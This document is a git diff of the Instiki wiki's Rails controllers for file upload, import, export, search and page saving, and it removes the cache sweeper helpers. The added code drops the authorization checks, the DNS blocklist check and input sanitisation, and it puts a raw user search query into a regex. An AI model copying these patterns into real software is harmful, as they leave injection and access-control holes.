-    MAJOR = 0
-    MINOR = 19
-    TINY  = 3 
-    SUFFIX = '(MML+)'
-    PRERELEASE = false
-    if PRERELEASE
-       STRING = [MAJOR, MINOR].join('.') + PRERELEASE + SUFFIX
-    else
-       STRING = [MAJOR, MINOR, TINY].join('.') + SUFFIX
-    end
-  end
-end
-
-# Monkey patch, to make Hash#key work in Ruby 1.8
-class Hash
-  alias_method(:key, :index) unless method_defined?(:key)
-end
-
-# Monkey patch, to ensure ActionCache doesn't muck with the content-type header.
-module ActionController #:nodoc:
-  module Caching
-    module Actions
-      class ActionCacheFilter
-        private
-          def set_content_type!(controller, extension)
-            return
-          end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/app/controllers/cache_sweeping_helper.rb b/app/controllers/cache_sweeping_helper.rb
deleted file mode 100644
index 6d986b39..00000000
--- a/app/controllers/cache_sweeping_helper.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-module CacheSweepingHelper
-  
-  def expire_cached_page(web, page_name)
-    expire_action :controller => 'wiki', :web => web.address,
-        :action => %w(show published s5 tex print history source), :id => page_name
-    expire_action :controller => 'wiki', :web => web.address,
-        :action => 'show', :id => page_name, :mode => 'diff'
-  end
-
-  def expire_cached_summary_pages(web)
-    categories = WikiReference.list_categories(web)
-    %w(recently_revised list).each do |action|
-      expire_action :controller => 'wiki', :web => web.address, :action => action
-      categories.each do |category|
-        expire_action :controller => 'wiki', :web => web.address, :action => action, :category => category
-      end
-    end
-
-    %w(authors atom_with_content atom_with_headlines file_list).each do |action|
-      expire_action :controller => 'wiki', :web => web.address, :action => action
-    end
-    
-    %w(file_name created_at).each do |sort_order|
-      expire_action :controller => 'wiki', :web => web.address, :action => 'file_list', :sort_order => sort_order
-    end
-  end
-
-  def expire_cached_revisions(page)
-    page.rev_ids.count.times  do |i|
-      revno = i+1
-      expire_action :controller => 'wiki', :web => page.web.address,
-          :action => 'revision', :id => page.name, :rev => revno
-      expire_action :controller => 'wiki', :web => page.web.address,
-          :action => 'revision', :id => page.name, :rev => revno, :mode => 'diff'
-      expire_action :controller => 'wiki', :web => page.web.address,
-          :action => 'source', :id => page.name, :rev => revno
-    end
-  end
-
-end
diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb
index cb5994ad..bf0ee964 100644
--- a/app/controllers/file_controller.rb
+++ b/app/controllers/file_controller.rb
@@ -1,69 +1,29 @@
-# Controller responsible for serving files and pictures.
+require 'fileutils'
+require 'application'
+require 'instiki_errors'
 
-require 'zip/zip'
-require 'instiki_stringsupport'
+# Controller that is responsible for serving files and pictures.
+# Disabled in version 0.10
 
 class FileController < ApplicationController
 
   layout 'default'
   
-  before_filter :check_authorized
-  before_filter :check_allow_uploads, :dnsbl_check, :except => [:file, :blahtex_png]
+  before_filter :check_allow_uploads
 
   def file
-    @file_name = params['id']
-    if params['file']
-      return unless is_post and check_allow_uploads
+    check_path
+    if @params['file']
       # form supplied
-      new_file = @web.wiki_files.create(params['file'])
-      if new_file.valid?
-        flash[:info] = "File '#{@file_name}' successfully uploaded"
-        WikiReference.pages_that_link_to_file(@web, @file_name).each do |page|
-          RevisionSweeper.expire_page(@web, page)
-        end
-        redirect_to(params['referring_page'])
-      else
-        # pass the file with errors back into the form
-        @file = new_file
-        render
-      end
+      file_yard.upload_file(@file_name, @params['file'])
+      flash[:info] = "File '#{@file_name}' successfully uploaded"
+      @web.refresh_pages_with_references(@file_name)
+      return_to_last_remembered
+    elsif file_yard.has_file?(@file_name)
+      send_file(file_yard.file_path(@file_name))
     else
-      # no form supplied, this is a request to download the file
-      file = @web.files_path.join(@file_name)
-      if File.exists?(file)
-        send_file(file)
-      else
-        return unless check_allow_uploads
-        @file = WikiFile.new(:file_name => @file_name)
-        render
-      end
-    end
-  end
-  
-  def blahtex_png
-    send_file(@web.blahtex_pngs_path.join(params['id']))
-  end
-    
-  def delete
-    @file_name = params['id']
-    file = WikiFile.find_by_file_name(@file_name)
-    unless file
-      flash[:error] = "File '#{@file_name}' not found."
-      redirect_to_page(@page_name)
-    end
-    system_password = params['system_password']
-    if system_password
-      return unless is_post
-      # form supplied
-      if wiki.authenticate(system_password)
-         file.destroy
-         flash[:info] = "File '#{@file_name}' deleted."
-       else
-        flash[:error] = "System Password incorrect."        
-      end
-      redirect_to_page(@page_name)
-    else
-    # no system password supplied, display the form
+      logger.debug("File not found: #{file_yard.files_path}/#{@file_name}")
+      # go to the template, which is a file upload form
     end
   end
 
@@ -71,15 +31,35 @@ class FileController < ApplicationController
     return_to_last_remembered
   end
   
+  def pic
+    check_path
+    if @params['file']
+      # form supplied
+      file_yard.upload_file(@file_name, @params['file'])
+      @web.refresh_pages_with_references(@file_name)
+      flash[:info] = "Image '#{@file_name}' successfully uploaded"
+      return_to_last_remembered
+    elsif file_yard.has_file?(@file_name)
+      send_file(file_yard.file_path(@file_name))
+    else
+      logger.debug("Image not found: #{file_yard.files_path}/#{@file_name}")
+      render_action 'file'
+    end
+  end
+
   def import
-    if params['file']
+    return if file_uploads_disabled?
+
+    check_authorization
+    if @params['file']
       @problems = []
       import_file_name = "#{@web.address}-import-#{Time.now.strftime('%Y-%m-%d-%H-%M-%S')}.zip"
-      import_from_archive(params['file'].path)
+      file_yard.upload_file(import_file_name, @params['file'])
+      import_from_archive(file_yard.file_path(import_file_name))
       if @problems.empty?
         flash[:info] = 'Import successfully finished'
       else
-        flash[:error] = 'Import finished, but some pages were not imported:<li>' + 
+        flash[:error] = "Import finished, but some pages were not imported:<li>" + 
             @problems.join('</li><li>') + '</li>'
       end
       return_to_last_remembered
@@ -89,37 +69,41 @@ class FileController < ApplicationController
   end
 
   protected
-  
-  def check_authorized
-    unless authorized? or @web.published?
-      @hide_navigation  = true
-      render(:status => 403, :text => 'This web is private', :layout => true)
-    end    
-  end
 
   def check_allow_uploads
-    if @web
-      if @web.allow_uploads? and authorized?
-        return true
-      else
-        @hide_navigation  = true
-        render(:status => 403, :text => 'File uploads are blocked by the webmaster', :layout => true)
-        return false
-      end
-    else
-      render(:status => 404, :text => "Web #{params['web'].inspect} not found", :layout => 'error')
+
+    # TODO enable file uploads again after 0.10 release
+    unless RAILS_ENV == 'test'
+      render_text 'File uploads are not ready for general use in Instiki 0.10', '403 Forbidden'
+      return false
+    end
+
+    unless @web.allow_uploads
+      render_text 'File uploads are blocked by the webmaster', '403 Forbidden'
+      return false
     end
   end
-  
+
+
   private 
   
+  def check_path
+    raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name
+    raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name
+    raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web
+  end
+  
+  def file_yard
+    @wiki.file_yard(@web)
+  end
+
   def import_from_archive(archive)
     logger.info "Importing pages from #{archive}"
     zip = Zip::ZipInputStream.open(archive)
     while (entry = zip.get_next_entry) do
       ext_length = File.extname(entry.name).length
-      page_name = entry.name[0..-(ext_length + 1)].purify
-      page_content = entry.get_input_stream.read.purify
+      page_name = entry.name[0..-(ext_length + 1)]
+      page_content = entry.get_input_stream.read
       logger.info "Processing page '#{page_name}'"
       begin
         existing_page = @wiki.read_page(@web.address, page_name)
@@ -129,10 +113,10 @@ class FileController < ApplicationController
             next
           else
             logger.info "Page '#{page_name}' already exists. Adding a new revision to it."
-            wiki.revise_page(@web.address, page_name, page_name, page_content, Time.now, @author, PageRenderer.new)
+            wiki.revise_page(@web.address, page_name, page_content, Time.now, @author)
           end
         else
-          wiki.write_page(@web.address, page_name, page_content, Time.now, @author, PageRenderer.new)
+          wiki.write_page(@web.address, page_name, page_content, Time.now, @author)
         end
       rescue => e
         logger.error(e)
diff --git a/app/controllers/revision_sweeper.rb b/app/controllers/revision_sweeper.rb
deleted file mode 100644
index 296402fe..00000000
--- a/app/controllers/revision_sweeper.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require_dependency 'cache_sweeping_helper'
-
-class RevisionSweeper < ActionController::Caching::Sweeper
-
-  include CacheSweepingHelper
-  
-  observe Revision, Page
-  
-  def before_save(record)
-    if record.is_a?(Revision)
-      expire_cached_page(record.page.web, record.page.name) 
-      expire_cached_revisions(record.page)
-    end
-  end
-  
-  def after_save(record)
-    if record.is_a?(Revision)
-      expire_caches(record.page)
-    end
-  end
-
-  def after_create(record)
-    if record.is_a?(Page)
-       WikiReference.pages_that_reference(record.web, record.name).each do |page_name|
-         expire_cached_page(record.web, page_name)
-      end
-    end
-  end
-
-  def after_delete(record)
-    if record.is_a?(Page)
-      expire_caches(record)
-    end
-  end
-  
-  def self.expire_page(web, page_name)
-    new.expire_cached_page(web, page_name)
-  end
-
-  private
-  
-  def expire_caches(page)
-    expire_cached_summary_pages(page.web)
-    pages_to_expire = ([page.name] + 
-       WikiReference.pages_redirected_to(page.web, page.name) +
-       WikiReference.pages_that_include(page.web, page.name)).uniq
-    pages_to_expire.each { |page_name| expire_cached_page(page.web, page_name) }
-  end
-
-end
diff --git a/app/controllers/web_sweeper.rb b/app/controllers/web_sweeper.rb
deleted file mode 100644
index e546fb06..00000000
--- a/app/controllers/web_sweeper.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require_dependency 'cache_sweeping_helper'
-
-class WebSweeper < ActionController::Caching::Sweeper
-
-  include CacheSweepingHelper
-
-  observe Web, Page, WikiFile
-  
-  def after_save(record)
-    if record.is_a?(Web)
-      web = record
-      web.pages.find_each { |page| expire_cached_page(web, page.name) }
-      expire_cached_summary_pages(web)
-    elsif record.is_a?(WikiFile)
-      record.web.pages_that_link_to_file(record.file_name).each do |page|
-        expire_cached_page(record.web, page)
-      end
-      expire_cached_summary_pages(record.web)
-    end
-  end
-
-  def after_destroy(record)
-    if record.is_a?(Web)
-      expire_cached_summary_pages(record)
-    elsif record.is_a?(Page)
-      expire_cached_page(record.web, record.name)
-      expire_cached_summary_pages(record.web)
-      expire_cached_revisions(record)
-    else
-      expire_cached_summary_pages(record.web)
-    end
-  end
-
-end
diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb
index 75eadec6..92f602e9 100644
--- a/app/controllers/wiki_controller.rb
+++ b/app/controllers/wiki_controller.rb
@@ -1,26 +1,18 @@
+require 'application'
 require 'fileutils'
-require 'maruku'
-require 'maruku/ext/math'
-require 'zip/zip'
-require 'instiki_stringsupport'
-require 'resolv'
+require 'redcloth_for_tex'
+require 'parsedate'
 
 class WikiController < ApplicationController
 
-  before_filter :load_page
-  before_filter :dnsbl_check, :only => [:edit, :new, :save, :export_html, :export_markup]
-  caches_action :show, :published, :authors, :tex, :s5, :print, :recently_revised, :list, :file_list, :source,
-        :history, :revision, :atom_with_content, :atom_with_headlines, :if => Proc.new { |c| c.send(:do_caching?) }
-  cache_sweeper :revision_sweeper
-
-  layout 'default', :except => [:atom_with_content, :atom_with_headlines, :atom, :source, :tex, :s5, :export_html]
+  layout 'default', :except => [:rss_feed, :rss_with_content, :rss_with_headlines, :tex,  :export_tex, :export_html]
 
   def index
     if @web_name
       redirect_home
     elsif not @wiki.setup?
       redirect_to :controller => 'admin', :action => 'create_system'
-    elsif @wiki.webs.size == 1
+    elsif @wiki.webs.length == 1
       redirect_home @wiki.webs.values.first.address
     else
       redirect_to :action => 'web_list'
@@ -30,10 +22,10 @@ class WikiController < ApplicationController
   # Outside a single web --------------------------------------------------------
 
   def authenticate
-    if password_check(params['password'])
+    if password_check(@params['password'])
       redirect_home
     else 
-      flash[:info] = password_error(params['password'])
+      flash[:info] = password_error(@params['password'])
       redirect_to :action => 'login', :web => @web_name
     end
   end
@@ -50,84 +42,14 @@ class WikiController < ApplicationController
   # Within a single web ---------------------------------------------------------
 
   def authors
-    @page_names_by_author = @web.page_names_by_author
-    @authors = @page_names_by_author.keys.sort
-  end
-  
-  def file_list
-    sort_order = params['sort_order'] || 'file_name'
-    case sort_order
-      when 'file_name'
-        @alt_sort_order = 'created_at'
-        @alt_sort_name = 'date'
-      else
-        @alt_sort_order = 'file_name'
-        @alt_sort_name = 'filename'
-    end
-    @file_list = @web.file_list(sort_order)
+    @authors = @web.select.authors.sort
   end
   
   def export_html
-    export_pages_as_zip(html_ext) do |page| 
-      renderer = PageRenderer.new(page.current_revision)
-      rendered_page = <<-EOL
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN" "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd" >
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>#{page.plain_name} in #{@web.name}</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-  
-  <script src="public/javascripts/page_helper.js" type="text/javascript"></script> 
-  <link href="public/stylesheets/instiki.css" media="all" rel="stylesheet" type="text/css" />
-  <link href="public/stylesheets/syntax.css" media="all" rel="stylesheet" type="text/css" />
-  <style type="text/css">
-    h1#pageName, div.info, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, [actiontype="toggle"]:hover, #TextileHelp h3 { 
-      color: ##{@web ? @web.color : "393"}; 
-    }
-    a:visited.existingWikiWord {
-      color: ##{darken(@web ? @web.color : "393")};
-    }   
-  </style>
-  
-  <style type="text/css"><!--/*--><![CDATA[/*><!--*/    
-    #{@web ? @web.additional_style : ''}
-  /*]]>*/--></style>
-  <script src="public/javascripts/prototype.js" type="text/javascript"></script>
-  <script src="public/javascripts/effects.js" type="text/javascript"></script>
-  <script src="public/javascripts/dragdrop.js" type="text/javascript"></script>
-  <script src="public/javascripts/controls.js" type="text/javascript"></script>
-  <script src="public/javascripts/application.js" type="text/javascript"></script>
-
-</head>
-<body>
- <div id="Container">
-  <div id="Content">
-  <h1 id="pageName">
-  #{xhtml_enabled? ? %{<span id="svg_logo"><svg version="1.1" width="100%" height="100%" viewBox='0 -1 180 198' xmlns='http://www.w3.org/2000/svg'>
-      <path id="svg_logo_path" fill="##{@web ? @web.color : "393"}" stroke-width='0.5' stroke='#000' d='
-        M170,60c4,11-1,20-12,25c-9,4-25,3-20,15c5,5,15,0,24,1c11,1,21,11,14,21c-10,15-35,6-48-1c-5-3-27-23-32-10c-1,13,15,10,22,16
-        c11,4,24,14,34,20c12,10,7,25-9,23c-11-1-22-9-30-16c-5-5-13-18-21-9c-2,6,2,11,5,14c9,9,22,14,22,31c-2,8-12,8-18,4c-4-3-9-8-11-13
-        c-3-6-5-18-12-18c-14-1-5,28-18,30c-9,2-13-9-12-16c1-14,12-24,21-31c5-4,17-13,10-20c-9-10-19,12-23,16c-7,7-17,16-31,15
-        c-9-1-18-9-11-17c5-7,14-4,23-6c6-1,15-8,8-15c-5-6-57,2-42-24c7-12,51,4,61,6c6,1,17,4,18-4c2-11-12-7-21-8c-21-2-49-14-49-34
-        c0-5,3-11,8-11C31,42,34,65,42,67c6,1,9-3,8-9C49,49,38,40,40,25c1-5,4-15,13-14c10,2,11,18,13,29c1,8,0,24,7,28c15,0,5-22,4-30
-        C74,23,78,7,87,1c8-4,14,1,16,9c2,11-8,21-2,30c8,2,11-6,14-12c9-14,36-18,30,5c-3,9-12,19-21,24c-6,4-22,10-23,19c-2,14,15,2,18-2
-        c9-9,20-18,33-22C159,52,166,54,170,60' />
-    </svg></span>} : ''}
-  <span class="webName">#{@web.name}</span><br />
-  #{page.plain_name}    
-  </h1>
-#{renderer.display_content_for_export}
-  <div class="byline">
-  #{page.revisions? ? "Revised" : "Created" } on #{ page.revised_at.strftime('%B %d, %Y %H:%M:%S') }
-  by
-  #{ UrlGenerator.new(self).make_link(@web, page.author.name, @web, nil, { :mode => :export }) }
-  </div>
-  </div>
- </div>
-</body>
-</html>
-EOL
-      rendered_page
+    export_pages_as_zip('html') do |page| 
+      @page = page
+      @link_mode = :export
+      render_to_string('wiki/print', use_layout = (@params['layout'] != 'no'))
     end
   end
 
@@ -135,21 +57,21 @@ EOL
     export_pages_as_zip(@web.markup) { |page| page.content }
   end
 
-#  def export_pdf
-#    file_name = "#{@web.address}-tex-#{@web.revised_at.strftime('%Y-%m-%d-%H-%M-%S')}"
-#    file_path = File.join(@wiki.storage_path, file_name)
-#
-#    export_web_to_tex "#{file_path}.tex"  unless FileTest.exists? "#{file_path}.tex"
-#    convert_tex_to_pdf "#{file_path}.tex"
-#    send_file "#{file_path}.pdf"
-#  end
+  def export_pdf
+    file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}"
+    file_path = File.join(@wiki.storage_path, file_name)
 
-#  def export_tex
-#    file_name = "#{@web.address}-tex-#{@web.revised_at.strftime('%Y-%m-%d-%H-%M-%S')}.tex"
-#    file_path = File.join(@wiki.storage_path, file_name)
-#    export_web_to_tex(file_path) unless FileTest.exists?(file_path)
-#    send_file file_path
-#  end
+    export_web_to_tex "#{file_path}.tex"  unless FileTest.exists? "#{file_path}.tex"
+    convert_tex_to_pdf "#{file_path}.tex"
+    send_file "#{file_path}.pdf"
+  end
+
+  def export_tex
+    file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex"
+    file_path = File.join(@wiki.storage_path, file_name)
+    export_web_to_tex(file_path) unless FileTest.exists?(file_path)
+    send_file file_path
+  end
 
   def feeds
     @rss_with_content_allowed = rss_with_content_allowed?
@@ -158,6 +80,7 @@ EOL
 
   def list
     parse_category
+    @pages_by_name = @pages_in_category.by_name
     @page_names_that_are_wanted = @pages_in_category.wanted_pages
     @pages_that_are_orphaned = @pages_in_category.orphaned_pages
   end
@@ -165,53 +88,23 @@ EOL
   def recently_revised
     parse_category
     @pages_by_revision = @pages_in_category.by_revision
-    @pages_by_day = Hash.new { |h, day| h[day] = [] }
-    @pages_by_revision.each do |page| 
-      day = Date.new(page.revised_at.year, page.revised_at.month, page.revised_at.day)
-      @pages_by_day[day] << page
-    end
   end
 
-  def atom_with_content
-    if rss_with_content_allowed? 
-      render_atom(hide_description = false)
+  def rss_with_content
+    if rss_with_content_allowed?
+      render_rss(hide_description = false, *parse_rss_params)
     else
-      render :text => 'Atom feed with content for this web is blocked for security reasons. ' +
-        'The web is password-protected and not published', :status => 403, :layout => 'error'
+      render_text 'RSS feed with content for this web is blocked for security reasons. ' +
+        'The web is password-protected and not published', '403 Forbidden'
     end
   end
 
-  def atom_with_headlines
-    render_atom(hide_description = true)
+  def rss_with_headlines
+    render_rss(hide_description = true, *parse_rss_params)
   end
-  
-  def tex_list
-    return unless is_post
-    if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup)
-      @tex_content = ''
-      # Ruby 1.9.x has ordered hashes; 1.8.x doesn't. So let's just parse the query ourselves.
-      ordered_params = ActiveSupport::OrderedHash[*request.raw_post.split('&').collect {|k_v| k_v.split('=').collect {|x| CGI::unescape(x)}}.flatten]
-      ordered_params.each do |name, p|
-        if p == 'tex' && @web.has_page?(name)
-          @tex_content << "\\section*\{#{Maruku.new(name).to_latex.strip}\}\n\n"
-          @tex_content << Maruku.new(@web.page(name).content).to_latex
-        end
-      end
-    else
-      @tex_content = 'TeX export only supported with the Markdown text filters.'
-    end
-    if @tex_content == ''
-      flash[:error] = "You didn't select any pages to export."
-      redirect_to :back
-      return
-    end
-    expire_action :controller => 'wiki', :web => @web.address, :action => 'list', :category => params['category']
-    render(:layout => 'tex')
-  end
-
 
   def search
-    @query = params['query'] ? params['query'].purify : ''
+    @query = @params['query']
     @title_results = @web.select { |page| page.name =~ /#{@query}/i }.sort
     @results = @web.select { |page| page.content =~ /#{@query}/i }.sort
     all_pages_found = (@results + @title_results).uniq
@@ -230,7 +123,7 @@ EOL
   def edit
     if @page.nil?
       redirect_home
-    elsif @page.locked?(Time.now) and not params['break_lock']
+    elsif @page.locked?(Time.now) and not @params['break_lock']
       redirect_to :web => @web_name, :action => 'locked', :id => @page_name
     else
       @page.lock(Time.now, @author)
@@ -245,102 +138,64 @@ EOL
     # to template
   end
 
-#  def pdf
-#    page = wiki.read_page(@web_name, @page_name)
-#    safe_page_name = @page.name.gsub(/\W/, '')
-#    file_name = "#{safe_page_name}-#{@web.address}-#{@page.revised_at.strftime('%Y-%m-%d-%H-%M-%S')}"
-#    file_path = File.join(@wiki.storage_path, file_name)
-#
-#    export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex")
-#    # NB: this is _very_ slow
-#    convert_tex_to_pdf("#{file_path}.tex")
-#    send_file "#{file_path}.pdf"
-#  end
+  def pdf
+    page = wiki.read_page(@web_name, @page_name)
+    safe_page_name = @page.name.gsub(/\W/, '')
+    file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}"
+    file_path = File.join(@wiki.storage_path, file_name)
+
+    export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex")
+    # NB: this is _very_ slow
+    convert_tex_to_pdf("#{file_path}.tex")
+    send_file "#{file_path}.pdf"
+  end
 
   def print
-    if @page.nil?
-      redirect_home
-    end
     @link_mode ||= :show
-    @renderer = PageRenderer.new(@page.current_revision)
     # to template
   end
 
   def published
-    if not @web.published?
-      render(:text => "Published version of web '#{@web_name}' is not available", :status => 404, :layout => 'error')
-      return 
+    if @web.published
+      @page = wiki.read_page(@web_name, @page_name || 'HomePage') 
+    else 
+      redirect_home
     end
-
-    @page_name ||= 'HomePage'
-    @page ||= wiki.read_page(@web_name, @page_name)
-    @link_mode ||= :publish
-    if @page
-       @renderer = PageRenderer.new(@page.current_revision)
-    else
-      real_page = WikiReference.page_that_redirects_for(@web, @page_name)
-        if real_page
-          flash[:info] = "Redirected from \"#{@page_name}\"."
-          redirect_to :web => @web_name, :action => 'published', :id => real_page, :status => 301
-        else
-          render(:text => "Page '#{@page_name}' not found", :status => 404, :layout => 'error')
-        end
-     end
   end
   
   def revision
     get_page_and_revision
-    @show_diff = (params[:mode] == 'diff')
-    @renderer = PageRenderer.new(@revision)
   end
 
   def rollback
     get_page_and_revision
-    if @page.locked?(Time.now) and not params['break_lock']
-      redirect_to :web => @web_name, :action => 'locked', :id => @page_name
-    else
-      @page.lock(Time.now, @author)
-    end
   end
 
   def save
-    render(:status => 404, :text => 'Undefined page name', :layout => 'error') and return if @page_name.nil?
-    return unless is_post
-    author_name = params['author'].purify
-    author_name = 'AnonymousCoward' if author_name =~ /^\s*$/
-    
+    redirect_home if @page_name.nil?
+    cookies['author'] = @params['author']
+
     begin
-      the_content = params['content'].purify
-      prev_content = ''
-      filter_spam(the_content)
-      cookies['author'] = { :value => author_name.dup.as_bytes, :expires => Time.utc(2030) }
+      check_for_spam(@params['content'], remote_ip)
+      check_blocked_ips(remote_ip)
+
       if @page
-        new_name = params['new_name'] ? params['new_name'].purify : @page_name
-        new_name = @page_name if new_name.empty?
-        prev_content = @page.current_revision.content
-        raise Instiki::ValidationError.new('A page named "' + new_name.escapeHTML + '" already exists.') if
-            @page_name != new_name && @web.has_page?(new_name)
-        wiki.revise_page(@web_name, @page_name, new_name, the_content, Time.now, 
-            Author.new(author_name, remote_ip), PageRenderer.new)
+        wiki.revise_page(@web_name, @page_name, @params['content'], Time.now, 
+            Author.new(@params['author'], remote_ip))
         @page.unlock
-        @page_name = new_name
       else
-        wiki.write_page(@web_name, @page_name, the_content, Time.now, 
-            Author.new(author_name, remote_ip), PageRenderer.new)
+        wiki.write_page(@web_name, @page_name, @params['content'], Time.now, 
+            Author.new(@params['author'], remote_ip))
       end
       redirect_to_page @page_name
-    rescue Instiki::ValidationError => e
-      flash[:error] = e.to_s
-      logger.error e
-      param_hash = {:web => @web_name, :id => @page_name}
-      # Work around Rails bug: flash will not display if query string is longer than 10192 bytes
-      param_hash.update( :content => the_content ) if the_content && 
-         CGI::escape(the_content).length < 10183 && the_content != prev_content
+    rescue => e
+      flash[:error] = e
+      flash[:content] = @params['content']
       if @page
         @page.unlock
-        redirect_to param_hash.update( :action => 'edit' )
+        redirect_to :action => 'edit', :web => @web_name, :id => @page_name
       else
-        redirect_to param_hash.update( :action => 'new' )
+        redirect_to :action => 'new', :web => @web_name, :id => @page_name
       end
     end
   end
@@ -348,225 +203,177 @@ EOL
   def show
     if @page
       begin
-        @renderer = PageRenderer.new(@page.current_revision)
-        @show_diff = (params[:mode] == 'diff')
-        render :action => 'page'
+        render_action 'page'
       # TODO this rescue should differentiate between errors due to rendering and errors in 
       # the application itself (for application errors, it's better not to rescue the error at all)
       rescue => e
         logger.error e
-        flash[:error] = e.to_s
+        flash[:error] = e.message
         if in_a_web?
           redirect_to :action => 'edit', :web => @web_name, :id => @page_name
         else
           raise e
         end
       end
-    else
-      if not @page_name.nil? and not @page_name.empty?
-        real_page = WikiReference.page_that_redirects_for(@web, @page_name)
-        if real_page
-          flash[:info] = "Redirected from \"#{@page_name}\"."
-          redirect_to :web => @web_name, :action => 'show', :id => real_page, :status => 301
-        else
-          flash[:info] = "Page \"#{@page_name}\" does not exist.\n" +
-                         "Please create it now, or hit the \"back\" button in your browser."
-          redirect_to :web => @web_name, :action => 'new', :id => @page_name
-        end
-      else
-        render :text => 'Page name is not specified', :status => 404, :layout => 'error'
-      end
-    end
-  end
-
-  def history
-    if @page
-      @revisions_by_day = Hash.new { |h, day| h[day] = [] }
-      @revision_numbers = Hash.new { |h, id| h[id] = [] }
-      revision_number = @page.rev_ids.size
-      @page.rev_ids.reverse.each do |rev|
-        day = Date.new(rev.revised_at.year, rev.revised_at.month, rev.revised_at.day)
-        @revisions_by_day[day] << rev
-        @revision_numbers[rev.id] = revision_number
-        revision_number = revision_number - 1
-      end
-      render :action => 'history'
     else
       if not @page_name.nil? and not @page_name.empty?
         redirect_to :web => @web_name, :action => 'new', :id => @page_name
       else
-        render :text => 'Page name is not specified', :status => 404, :layout => 'error'
+        render_text 'Page name is not specified', '404 Not Found'
       end
     end
   end
 
-  def source
-    @revision = @page.revisions[params['rev'].to_i - 1] if params['rev']
-  end
-
   def tex
-    if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup)
-      @tex_content = Maruku.new(@page.content).to_latex
-    else
-      @tex_content = 'TeX export only supported with the Markdown text filters.'
-    end
-    render(:layout => 'tex')
+    @tex_content = RedClothForTex.new(@page.content).to_tex
   end
 
-  def s5
-    if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup)
-      my_rendered = PageRenderer.new(@page.current_revision)
-      @s5_content = my_rendered.display_s5
-      @s5_theme = my_rendered.s5_theme
-    else
-      @s5_content = "S5 not supported with this text filter"
-      @s5_theme = "default"
-    end
-  end
-
-  protected
-
-  def do_caching?
-    flash.empty?
-  end
-  
-  def load_page
-    @page_name = params['id'] ? params['id'].purify : nil
-    @page = @wiki.read_page(@web_name, @page_name) if @page_name
-  end
 
   private
 
-#  def convert_tex_to_pdf(tex_path)
-#    # TODO remove earlier PDF files with the same prefix
-#    # TODO handle gracefully situation where pdflatex is not available
-#    begin
-#      wd = Dir.getwd
-#      Dir.chdir(File.dirname(tex_path))
-#      logger.info `pdflatex --interaction=nonstopmode #{File.basename(tex_path)}`
-#    ensure
-#      Dir.chdir(wd)
-#    end
-#  end
+  def check_blocked_ips(ip)
+    if defined? BLOCKED_IPS and not BLOCKED_IPS.nil?
+      BLOCKED_IPS.each do |blocked_ip|
+        raise Instiki::ValidationError.new('Revision rejected by spam filter') if ip == blocked_ip
+      end
+    end
+  end
+
+  def check_for_spam(new_content, ip)
+    if defined? SPAM_PATTERNS and not SPAM_PATTERNS.nil?
+      SPAM_PATTERNS.each do |pattern|
+        if new_content =~ pattern
+          logger.info "Spam attempt from IP address #{ip}"
+          raise Instiki::ValidationError.new('Revision rejected by spam filter')
+        end
+      end
+    end
+  end
+
+  def convert_tex_to_pdf(tex_path)
+    # TODO remove earlier PDF files with the same prefix
+    # TODO handle gracefully situation where pdflatex is not available
+    begin
+      wd = Dir.getwd
+      Dir.chdir(File.dirname(tex_path))
+      logger.info `pdflatex --interaction=nonstopmode #{File.basename(tex_path)}`
+    ensure
+      Dir.chdir(wd)
+    end
+  end
 
   def export_page_to_tex(file_path)
-    if @web.markup == :markdownMML || @web.markup == :markdownPNG
-      @tex_content = Maruku.new(@page.content).to_latex
-    else
-      @tex_content = 'TeX export only supported with the Markdown text filters.'
-    end
-    File.open(file_path, 'w') { |f| f.write(render_to_string(:template => 'wiki/tex', :layout => 'tex')) }
+    tex
+    File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex')) }
   end
 
   def export_pages_as_zip(file_type, &block)
-    
+
     file_prefix = "#{@web.address}-#{file_type}-"
-    timestamp = @web.revised_at.strftime('%Y-%m-%d-%H-%M-%S')
-    file_path = @wiki.storage_path.join(file_prefix + timestamp + '.zip')
+    timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')
+    file_path = File.join(@wiki.storage_path, file_prefix + timestamp + '.zip')
     tmp_path = "#{file_path}.tmp"
 
-    Zip::ZipFile.open(tmp_path, Zip::ZipFile::CREATE) do |zip_out|
+    Zip::ZipOutputStream.open(tmp_path) do |zip_out|
       @web.select.by_name.each do |page|
-        zip_out.get_output_stream("#{CGI.escape(page.name)}.#{file_type}") do |f|
-          f.puts(block.call(page))
-        end
+        zip_out.put_next_entry("#{CGI.escape(page.name)}.#{file_type}")
+        zip_out.puts(block.call(page))
       end
-      # add an index file, and the stylesheet and javascript directories, if exporting to HTML
-      if file_type.to_s.downcase == html_ext
-        zip_out.get_output_stream("index.#{html_ext}") do |f|
-          f.puts "<html xmlns='http://www.w3.org/1999/xhtml'><head>" +
-            "<meta http-equiv=\"Refresh\" content=\"0;URL=HomePage.#{html_ext}\" /></head></html>"
-        end
-        dir = Rails.root.join('public')
-        Dir["#{dir}/{images,javascripts,s5,stylesheets}/**/*"].each do |f|
-          zip_out.add "public#{f.sub(dir.to_s,'')}", f
-        end
-      end
-      files = @web.files_path
